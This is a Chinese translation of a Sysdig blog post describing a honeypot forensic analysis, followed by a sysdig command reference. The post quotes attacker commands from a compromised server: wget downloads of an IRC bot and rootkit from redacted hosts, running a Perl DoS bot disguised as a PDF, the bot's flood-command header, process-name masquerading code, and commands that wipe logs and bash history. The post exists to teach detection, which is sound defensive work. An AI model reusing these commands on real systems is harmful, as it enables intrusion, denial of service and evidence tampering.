From: https://sysdig.com/blog/fishing-for-hackers/
幾天前我偶然看到一篇經典的博文,文章介紹了加強一個全新Linux服務安全性的常規做法,其中包括安裝fail2ban,禁用SSH密碼認證,隨機化SSH端口,配置iptables等內容。這讓我聯想到,假如我與其背道而馳會發生什么?當然,最常見的結果就是使其淪陷成為一個僵尸網絡的受害者,僵尸網絡就是在不停地掃描大范圍的公網IP地址,以期望通過暴力破解(SSH或Wordpress等)的方式找到一些配置不當的服務。但是當你成為這些簡單攻擊的受害者時,實際上發生了什么?攻擊者又做了些什么?本篇文章就使用sysdig捕獲分析我們服務器上實際攻擊的例子,進而解答以上提出的問題。所以讓我們釣起魚兒來!
具體的想法就是將一組配置不當且存在漏洞的服務器暴露在互聯網上,等到有人入侵后,我們再來分析一下發生了哪些有趣的事情。這就相當于:把誘餌撒到水中,等待魚兒上鉤,然后抓一個上來研究研究。首先我需要一些誘餌,意即一些配置不當的主機。現在來說這些都是so easy的事兒啦。我使用了好幾種IaaS供應商(確切來說是AWS,Rackspace和Digital Ocean)的服務,配置了大約20臺Ubuntu 12.04服務器——希望其中至少有一個服務器能夠成為某些僵尸網絡的“重點”關注對象。接下來就需要正確地記錄操作系統的活動,這樣我就可以確切地知道攻擊者采取了哪些手段。因為我喜愛使用sysdig,所以我選擇將sysdig和S3組合使用。我使用-z
來啟用sysdig的壓縮功能,進而捕獲每個I/O buffer中產生的大量字節數。
#!shell
sysdig -s 4096 -z -w /mnt/sysdig/$(hostname).scap.gz
現在所有的實例都已配置妥當,我就簡單地以"password"作為密碼開啟SSH root登錄,以確保即使是最愚蠢的暴力破解算法也能很快地攻破系統。在這之后,我就靜靜地看著sysdig將結果dump到S3上。
第一個魚兒來得如此之快:其中一個服務器僅在4小時后就被攻陷了!我是怎么知道的?我注意到在我的S3 bucket上,sysdig記錄的文件在頃刻間往上跳了好幾兆——遠遠超過了閑置服務器在后臺運行時,應該產生大約100KB/hour的流量。所以我就將這個記錄文件(大約150MB)下載到我的OSX上,探索研究一下。
我以我比較喜歡的方式開始進行分析:總覽一下主機上進程,網絡和I/O當中發生了些什么。首先,我通過受害主機上的網絡I/O流量來查看top進程:
#!shell
$ sysdig -r trace.scap.gz -c topprocs_net
Bytes Process
------------------------------
439.63M /usr/sbin/httpd
422.29M /usr/local/apac
5.27M sshd
2.38M wget
20.81KB httpd
9.94KB httpd
6.40KB perl
服務器上產生了相當多的流量,但是我并沒有配置任何服務!在那之后我也不記得有安裝過/usr/sbin/httpd
和/usr/local/apac
。接下來我們再看看網絡連接:
#!shell
$ sysdig -r trace.scap.gz -c topconns
Bytes Proto Connection
------------------------------
439.58M udp 170.170.35.93:50978->39.115.244.150:800
422.24M udp 170.170.35.93:55169->39.115.244.150:800
4.91M tcp 85.60.66.5:59893->170.170.35.93:22
46.72KB tcp 170.170.35.93:39193->162.243.147.173:3132
43.62KB tcp 170.170.35.93:39194->162.243.147.173:3132
20.81KB tcp 170.170.35.93:53136->198.148.91.146:6667
1000B udp 170.170.35.93:0->39.115.244.150:800
我的主機產生了800MB的UDP流量——我的天哪!這簡直就是活生生的DOS攻擊。我猜測攻擊者安裝了一些僵尸網絡的客戶端,來生成相應的DOS流量,所以我當機立斷地把服務器關了,確保它不會對其他人造成進一步的傷害。就我目前所掌握的信息可以確定服務器已經被攻陷了,我如果使用其他的監控工具也可以得出相同的結論。然而不同的是,我的S3 bucket里存儲著全部的細節,所以我就可以開始深度挖掘實際發生的情況。我先使用我最愛的chisel,spy_users
,看看惡意用戶在登錄之后干了些啥:
#!shell
$ sysdig -r trace.scap.gz -c spy_users
06:11:28 root) cd /usr/sbin
06:11:30 root) mkdir .shm
06:11:32 root) cd /usr/sbin/.shm
06:11:39 root) wget xxxxxxxxx.altervista.org/l.tgz
06:11:40 root) tar zxvf l.tgz
06:11:42 root) cd /usr/sbin/.shm/lib/.muh/src
06:11:43 root) /bin/bash ./configure --enable-local
06:11:56 root) make all
看到這里發生了什么嗎?攻擊者使用了一個“聰明”的名字.shm
,在/usr/sbin
目錄下創建了一個隱藏文件夾,然后下載程序的源代碼并開始編譯。我把上面URL中的文件下載下來了,發現它是個IRC bouncer Muh。在存檔文件中,我發現一些類似于攻擊者非常個人化的配置文件這樣有趣的事物,其中包含了各種用戶名密碼還有一堆用于自動加入Undernet的IRC channel。他接下來做了這些事:
#!shell
06:13:19 root) wget http://xxxxxxxxx.altervista.org/.sloboz.pdf
06:13:20 root) perl .sloboz.pdf
06:13:20 root) rm -rf .sloboz.pdf
06:12:58 root) /sbin/iptables -I INPUT -p tcp --dport 9000 -j ACCEPT
06:12:58 root) /sbin/iptables -I OUTPUT -p tcp --dport 6667 -j ACCEPT
Nice!一個perl腳本文件被下載成為一個隱藏的pdf文件。我很好奇想要了解更多的東西。不幸的是,當我試圖訪問以上的URL時,文件已經不復存在了。好吧,還有sysdig可以幫助我,因為它記錄了每一個I/O操作(正如我在命令中指定的,每個操作最多記錄4096字節的數據)。我就可以看到wget往文件中寫了些啥:
#!shell
$ sysdig -r trace.scap.gz -A -c echo_fds fd.filename=.sloboz.pdf
------ Write 3.89KB to /run/shm/.sloboz.pdf
#!/usr/bin/perl
####################################################################################################################
####################################################################################################################
## Undernet Perl IrcBot v1.02012 bY DeBiL @RST Security Team ## [ Help ] #########################################
## Stealth MultiFunctional IrcBot Writen in Perl #####################################################
## Teste on every system with PERL instlled ## !u @system ##
## ## !u @version ##
## This is a free program used on your own risk. ## !u @channel ##
## Created for educational purpose only. ## !u @flood ##
## I'm not responsible for the illegal use of this program. ## !u @utils ##
####################################################################################################################
## [ Channel ] #################### [ Flood ] ################################## [ Utils ] #########################
####################################################################################################################
## !u !join <#channel> ## !u @udp1 <ip> <port> <time> ## !su @conback <ip> <port> ##
## !u !part <#channel> ## !u @udp2 <ip> <packet size> <time> ## !u @downlod <url+path> <file> ##
## !u !uejoin <#channel> ## !u @udp3 <ip> <port> <time> ## !u @portscan <ip> ##
## !u !op <channel> <nick> ## !u @tcp <ip> <port> <packet size> <time> ## !u @mail <subject> <sender> ##
## !u !deop <channel> <nick> ## !u @http <site> <time> ## <recipient> <message> ##
因催斯汀...這原來是一個perl DoS客戶端,可以被IRC控制執行命令,所以攻擊者就可以很輕松地管理這些成千上萬的機器。我也是足夠地幸運,因為wget在整個過程中就進行了4KB的I/O操作,所以如果我查看全部的輸出,我就可以得到完整的源代碼(以上的是被截斷的)。通過讀取其中的header我們就可以知道這個東西是怎么運作的——它應該會接收到一個“@udp
”IRC消息然后使用網絡流量沖擊目標主機。讓我們來看看是否有人發送了一個命令:
#!shell
$ sysdig -r trace.scap.gz -A -c echo_fds evt.buffer contains @udp
------ Read 67B from 170.170.35.93:39194->162.243.147.173:3132
:[email protected] PRIVMSG #nanana :!u @udp1 39.115.244.150 800 300
正如你所見,bot接收到一個(肯定來自它的owner)TCP連接,其中包含一條向39.115.244.150IP的800端口的攻擊命令,這正好跟之前網絡連接列表中,前兩項泛洪數百兆流量的IP地址和端口號相同。這一切都很有意義!但是攻擊并沒有就此止步:
#!shell
06:13:11 root) wget xxxxxxxxx.xp3.biz/other/rk.tar
06:13:12 root) tar xvf rk.tar
06:13:12 root) rm -rf rk.tar
06:13:12 root) cd /usr/sbin/rk
06:13:17 root) tar zxf mafixlibs
什么是mafixlibs?Google說它是一種rootkit,但是我想看看在那個tar文件里包含著什么,所以我就再次使用sysdig,查詢tar寫了哪些文件:
#!shell
$ sysdig -r trace.scap.gz -c topfiles_bytes proc.name contains tar and proc.args contains mafixlibs
Bytes Filename
------------------------------
207.76KB /usr/sbin/rk/bin/.sh/sshd
91.29KB /usr/sbin/rk/bin/ttymon
80.69KB /usr/sbin/rk/bin/lsof
58.14KB /usr/sbin/rk/bin/find
38.77KB /usr/sbin/rk/bin/dir
38.77KB /usr/sbin/rk/bin/ls
33.05KB /usr/sbin/rk/bin/lib/libproc.a
30.77KB /usr/sbin/rk/bin/ifconfig
30.71KB /usr/sbin/rk/bin/md5sum
25.88KB /usr/sbin/rk/bin/syslogd
可以很清楚地看到是一堆二進制文件。所以我猜測在我的spy_users
輸出中可以看到攻擊者正在替換系統組件:
#!shell
06:13:18 root) chattr -isa /sbin/ifconfig
06:13:18 root) cp /sbin/ifconfig /usr/lib/libsh/.backup
06:13:18 root) mv -f ifconfig /sbin/ifconfig
06:13:18 root) chattr +isa /sbin/ifconfig
確實,他人還挺好的給我留了一份備份文件。到目前為止我所掌握的信息有:我得到了一對IRC bots,一些入侵系統的二進制文件以及我成功解釋了在開始時看到的UDP泛洪流量。但還遺留下來一個問題就是:為什么topprocs_net
顯示出所有的UDP流量都是由/usr/sbin/httpd
和/usr/local/apac
進程產生的,我還未在spy_users
的輸出中發現哪些安裝在機器上的二進制文件呢?我猜測perl bot它自己能夠發送UDP數據包,因為它是接收命令的那一方。讓我們再次使用sysdig
,并且定位到系統調用級別。我想查看所有和“/usr/local/apac
”有關的事件:
#!shell
$ sysdig -r trace.scap.gz -A evt.args contains /usr/local/apac
...
955716 06:13:20.225363385 0 perl (10200) < clone res=10202(perl) exe=/usr/local/apach args= tid=10200(perl) pid=10200(perl) ptid=7748(-bash) cwd=/tmp fdlimit=1024 flags=0 uid=0 gid=0 exepath=/usr/bin/perl
...
既然來到這兒了,我也想看看這個pid為10200的perl進程是何時啟動的:
#!shell
$ sysdig -r trace.scap.gz proc.pid = 10200
954458 06:13:20.111764417 0 perl (10200) < execve res=0 exe=perl args=.sloboz.pdf. tid=10200(perl) pid=10200(perl) ptid=7748(-bash) cwd=/run/shm fdlimit=1024 exepath=/usr/bin/perl
同我們之前看到的那樣,perl進程只是和“.sloboz.pdf
”相關。但是你有沒有看出其中的端倪?這極有可能被魚目混珠過去:perl進程(肯定是DoS客戶端)將它自己fork了(clone event 955716),但是在這之前它把它自己的可執行文件名和參數(“exe” and “args”)從“perl .sloboz.pdf” (event 954458)改為一個隨機且不可疑的“/usr/local/apach” (event 955716)。這就可以迷惑像ps,top和sysdig這樣的工具。當然,在這里是并沒有/usr/local/apach
的。你可以看到在fork進程后從未執行過一個新的二進制文件,它只是改變了名字而已。通過閱讀perl客戶端的源碼(使用echo_fds
),我可以進一步確認這一點:
#!shell
my @rps = ("/usr/local/apache/bin/httpd -DSSL","/usr/sbin/httpd -k start -DSSL","/usr/sbin/httpd","/usr/sbin/sshd -i","/usr/sbin/sshd","/usr/sbin/sshd -D","/sbin/syslogd","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron");
my $process = $rps[rand scalar @rps];
$0="$process".""x16;;
my $pid=fork;
perl進程將其argv改為一個隨機化的普通名字,然后再fork自身,很有可能是用來作為守護進程。最后,攻擊者決定刪除日志并用新的來替換它們:
#!shell
06:13:30 root) rm -rf /var/log/wtmp
06:13:30 root) rm -rf /var/log/lastlog
06:13:30 root) rm -rf /var/log/secure
06:13:30 root) rm -rf /var/log/xferlog
06:13:30 root) rm -rf /var/log/messages
06:13:30 root) rm -rf /var/run/utmp
06:13:30 root) touch /var/run/utmp
06:13:30 root) touch /var/log/messages
06:13:30 root) touch /var/log/wtmp
06:13:30 root) touch /var/log/messages
06:13:30 root) touch /var/log/xferlog
06:13:30 root) touch /var/log/secure
06:13:30 root) touch /var/log/lastlog
06:13:30 root) rm -rf /var/log/maillog
06:13:30 root) touch /var/log/maillog
06:13:30 root) rm -rf /root/.bash_history
06:13:30 root) touch /root/.bash_history
哇噢。通過從高角度分析和在必要的時候深入到某個系統調用,我能夠很準確地追蹤到發生了什么。而這一切都是在實例完全關閉的情況下,僅僅使用sysdig來記錄包含所有系統活動的文件!
sysdig可直接在Kali2下安裝:
#!shell
apt-get -y install sysdig
sysdig [option]... [filter]
-b, --print-base64
以base64的形式打印出數據buffer。這對二進制數據編碼非常又用,進而可以將其用于處理文本數據的媒介中(例如,終端或者json)。
-c chiselname chiselargs, --chisel=chiselname chiselargs
運行特定的chisel。如果某chisel需要傳遞參數,那么它們必須跟在chisel名之后。
-cl, --list-chisels
列出可用的chisel。其會在.
,./chisels
,~/chisels
和/usr/share/sysdig/chisels
中搜尋chisel。
-dv, --displayflt
為給定的過濾器設置輸出。一旦設置了這個選項就會使事件在被狀態系統解析后過濾。將事件在被分析前過濾是很有效的,但是可能會造成狀態的丟失(例如FD名)。
-h, --help
打印出此幫助頁面
-j, --json
以json的格式作為輸出。數據buffer是否編碼則取決于輸出格式的選擇。
-l, --list
列出可被過濾器和輸出格式使用的字段。使用-lv
將會得到每個字段的附加信息。
-L, --list-events
列出該設備支持的事件。
-n num, --numevents=num
在一定事件后停止捕獲
-p output_format, --print=output_format
指定打印事件時使用的格式。可在examples部分獲得更多相關信息。
-q, --quiet
不在屏幕上輸出事件。這一點在dump到磁盤時非常有用。
-r readfile, --read=readfile
從文件中讀取事件。
-S, --summary
當捕獲結束時打印出事件摘要(例如top事件列表)
-s len, --snaplen=len
為每一個I/O buffer捕獲的字節數。默認情況下,頭80個字節會被捕獲。請謹慎使用此選項,它可以產生巨大的記錄文件。
-t timetype, --timetype=timetype
更改事件時間的顯示方式。可接收的值有:h用于人類可讀的字符串,a用于絕對時間戳,r用于從開始捕獲起的相對時間,d則用于事件登入登出中的delta。
-v, --verbose
詳細輸出。
-w writefile, --write=writefile
將捕獲的事件寫入到writefile中。
捕獲當前的系統中的所有事件,并將其輸出到屏幕上
sysdig
捕獲當前的系統中的所有事件,并將其存儲到磁盤中
sysdig -qw dumpfile.scap
從文件中讀取事件,并將其輸出到屏幕上
sysdig -r dumpfile.scap
打印出全部由cat引發的open操作系統調用
sysdig proc.name=cat and evt.type=open
打印出cat打開的文件名
./sysdig -p"%evt.arg.name" proc.name=cat and evt.type=open
列出可用的chisel
./sysdig -cl
為192.168.1.157IP地址運行spy_ip chisel
sysdig –c spy_ip 192.168.1.157
在默認情況下,sysdig將在一行上打印出每個捕獲事件的相關信息,以如下格式呈現:
<evt.time> <evt.cpu> <proc.name> <thread.tid> <evt.dir> <evt.type> <evt.args>
其中:evt.time
為時間時間戳;evt.cpu
為事件被捕獲所處的CPU number;proc.name
為事件產生的進程名;thread.tid
為事件產生的TID,相對于單線程進程來說就是它的PID;evt.dir
為事件的方向,>
為事件進入,<
為事件退出;evt.type
為事件的名稱,例如'open
'或者'read
';evt.args
則是事件參數列表。
可利用-p
指定輸出格式,也可用使用'sysdig -l
'列出所有的字段。
可在命令行的結尾設定sysdig過濾器。最簡單的過濾器就是一個簡單的域值檢測:
$ sysdig proc.name=cat
利用'sysdig -l
'可得到所有可用的字段。以下對比操作符皆可用來檢測相關內容: =
,!=
,<
,<=
,>
,>=
和contains
。例如:
$ sysdig fd.name contains /etc
可使用括號和布爾運算符and
,or
,not
進行多重檢測:
$ sysdig "not(fd.name contains /proc or fd.name contains /dev)"
Sysdig中的chisels是分析sysdig事件流并執行有用的操作小腳本。如下輸入可得到可用的chisel列表:
$ sysdig –cl
對于每一個chisel,你必須鍵入相應的名字和其預期的參數。可使用-c
運行一個chisel,例如:
$ sysdig –c topfiles_bytes
如果一個chisel需要參數,可在chisel名后設定:
$ sysdig –c spy_ip 192.168.1.157
Chiesls可與filters聯合使用:
$ sysdig -c topfiles_bytes "not fd.name contains /dev"
sysdig -c topprocs_net
as binary: sysdig -s2000 -X -c echo_fds fd.cip=192.168.0.1 as ASCII: sysdig -s2000 -A -c echo_fds fd.cip=192.168.0.1
in terms of established connections: sysdig -c fdcount_by fd.sport "evt.type=accept" in terms of total bytes: sysdig -c fdbytes_by fd.sport
in terms of established connections sysdig -c fdcount_by fd.cip "evt.type=accept" in terms of total bytes sysdig -c fdbytes_by fd.cip
sysdig -p"%proc.name %fd.name" "evt.type=accept and proc.name!=httpd"
sudo csysdig -vcontainers
sudo csysdig -pc
sudo sysdig -pc -c topprocs_cpu container.name=wordpress1
sudo sysdig -pc -c topprocs_net container.name=wordpress1
sudo sysdig -pc -c topprocs_net container.name=wordpress1
sudo sysdig -pc -c topfiles_bytes container.name=wordpress1
sudo sysdig -pc -c topconns container.name=wordpress1
sudo sysdig -pc -c spy_users container.name=wordpress1
sudo sysdig -s 2000 -A -c echo_fds fd.port=80 and evt.buffer contains GET
sudo sysdig -s 2000 -A -c echo_fds evt.buffer contains SELECT
sysdig -s 2000 -A -c echo_fds fd.sip=192.168.30.5 and proc.name=apache2 and evt.buffer contains SELECT
sysdig -c topprocs_file
sysdig -c fdcount_by proc.name "fd.type=file"
sysdig -c topfiles_bytes
sysdig -c topfiles_bytes proc.name=httpd
sysdig -p "%12user.name %6proc.pid %12proc.name %3fd.num %fd.typechar %fd.name" evt.type=open
sysdig -c fdbytes_by fd.directory "fd.type=file"
sysdig -c fdbytes_by fd.filename "fd.directory=/tmp/"
sysdig -A -c echo_fds "fd.filename=passwd"
sysdig -c fdbytes_by fd.type
sysdig -c topprocs_cpu
sysdig -s4096 -A -c stdout proc.name=cat
sysdig -c topfiles_time
sysdig -c topfiles_time proc.name=httpd
sysdig -c topprocs_errors
sysdig -c topfiles_errors
sysdig fd.type=file and evt.failed=true
sysdig "proc.name=httpd and evt.type=open and evt.failed=true"
See the system calls where most time has been spent
sysdig -c topscalls "evt.failed=true"
sysdig -p "%12user.name %6proc.pid %12proc.name %3fd.num %fd.typechar %fd.name" evt.type=open and evt.failed=true
sysdig -c fileslower 1
sysdig -p"%evt.arg.path" "evt.type=chdir and user.name=root"
sysdig -A -c echo_fds fd.name=/dev/ptmx and proc.name=sshd
/etc
目錄下的每一個文件open操作sysdig evt.type=open and fd.name contains /etc
sysdig -r file.scap -c list_login_shells tar
sysdig -r trace.scap.gz -c spy_users proc.loginshellid=5459
使用sysdig的取證分析案例: